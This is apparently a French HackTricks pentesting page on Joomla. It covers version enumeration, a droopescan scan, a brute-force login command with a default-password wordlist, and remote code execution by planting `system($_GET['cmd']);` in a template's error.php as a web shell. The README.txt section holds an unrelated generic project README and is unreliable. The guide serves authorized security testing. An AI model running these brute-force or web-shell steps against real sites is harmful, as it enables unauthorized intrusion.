hacktricks/network-services-pentesting/pentesting-web/joomla.md

131 lines
6.8 KiB
Markdown
Raw Normal View History

2022-10-02 23:08:05 +00:00
# Joomla
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>
2023-06-03 13:10:46 +00:00
### Statistiques de Joomla
2022-10-02 23:08:05 +00:00
2023-06-03 13:10:46 +00:00
Joomla collecte des [statistiques d'utilisation](https://developer.joomla.org/about/stats.html) anonymes telles que la répartition des versions de Joomla, PHP et de la base de données et des systèmes d'exploitation de serveur utilisés sur les installations Joomla. Ces données peuvent être interrogées via leur [API](https://developer.joomla.org/about/stats/api.html) publique.
2022-10-02 23:08:05 +00:00
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
```
2023-06-03 13:10:46 +00:00
## Énumération
2022-10-02 23:08:05 +00:00
2023-06-03 13:10:46 +00:00
### Découverte/Recherche d'informations
2022-10-02 23:08:05 +00:00
2023-06-03 13:10:46 +00:00
* Vérifiez les **méta**
2022-10-02 23:08:05 +00:00
```bash
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
```
* robots.txt
2023-06-03 13:10:46 +00:00
Le fichier robots.txt est un fichier texte qui indique aux robots d'exploration des moteurs de recherche les pages ou sections du site web qu'ils ne doivent pas explorer ou indexer. Il est généralement situé à la racine du site web et peut contenir des instructions pour tous les robots ou pour des robots spécifiques. Les informations contenues dans ce fichier peuvent être utiles pour les attaquants car elles peuvent révéler des sections du site web qui ne sont pas destinées au public ou des informations sensibles.
2022-10-02 23:08:05 +00:00
```
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
```
* README.txt
2023-06-03 13:10:46 +00:00
Ce fichier contient des informations importantes sur le projet. Veuillez le lire attentivement avant de continuer.
## Introduction
Ce projet est une application web basée sur Joomla. Joomla est un système de gestion de contenu (CMS) open source populaire qui permet de créer des sites web dynamiques et puissants.
## Objectif
L'objectif de ce projet est de tester la sécurité de l'application Joomla en utilisant des techniques de piratage éthique. Nous allons explorer les vulnérabilités courantes et les failles de sécurité dans Joomla et proposer des solutions pour les corriger.
## Installation
Pour installer l'application Joomla, suivez les instructions fournies dans le fichier INSTALL.txt.
## Utilisation
Une fois l'application installée, vous pouvez accéder à l'interface utilisateur en ouvrant un navigateur web et en entrant l'URL de l'application. Vous pouvez ensuite vous connecter en utilisant les identifiants d'administrateur fournis lors de l'installation.
## Contribution
Si vous souhaitez contribuer à ce projet, veuillez consulter le fichier CONTRIBUTING.md pour obtenir des instructions sur la façon de soumettre des modifications.
## Licence
Ce projet est sous licence MIT. Veuillez consulter le fichier LICENSE.txt pour plus d'informations.
2022-10-02 23:08:05 +00:00
```
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
### Version
2023-06-03 13:10:46 +00:00
* Dans **/administrator/manifests/files/joomla.xml**, vous pouvez voir la version.
* Dans **/language/en-GB/en-GB.xml**, vous pouvez obtenir la version de Joomla.
* Dans **plugins/system/cache/cache.xml**, vous pouvez voir une version approximative.
2022-10-02 23:08:05 +00:00
2023-06-03 13:10:46 +00:00
### Automatique
2022-10-02 23:08:05 +00:00
```bash
droopescan scan joomla --url http://joomla-site.local/
```
2023-06-03 13:10:46 +00:00
Dans la section [**80,443 - Méthodologie de test d'intrusion Web**](./#cms-scanners), il y a des scanners CMS qui peuvent scanner Joomla.
2022-10-02 23:08:05 +00:00
### Brute-Force
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
Vous pouvez utiliser ce [script](https://github.com/ajnik/joomla-bruteforce) pour tenter une attaque de force brute sur la connexion.
2022-10-02 23:08:05 +00:00
```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
```
## RCE
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
Si vous avez réussi à obtenir les **identifiants d'administrateur**, vous pouvez effectuer une **RCE à l'intérieur** en ajoutant un extrait de **code PHP** pour obtenir une **RCE**. Nous pouvons le faire en **personnalisant** un **modèle**.
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
1. **Cliquez** sur **`Templates`** en bas à gauche sous `Configuration` pour afficher le menu des modèles.
2. **Cliquez** sur un nom de **modèle**. Choisissons **`protostar`** sous l'en-tête de colonne `Template`. Cela nous amènera à la page **`Templates: Customise`**.
3. Enfin, vous pouvez cliquer sur une page pour afficher la **source de la page**. Choisissons la page **`error.php`**. Nous ajouterons une **ligne de code PHP pour obtenir une exécution de code** comme suit :
2022-10-02 23:08:05 +00:00
1. **`system($_GET['cmd']);`**
2023-06-03 13:10:46 +00:00
4. **Enregistrer et fermer**
2022-10-02 23:08:05 +00:00
5. `curl -s http://joomla-site.local/templates/protostar/error.php/error.php?cmd=id`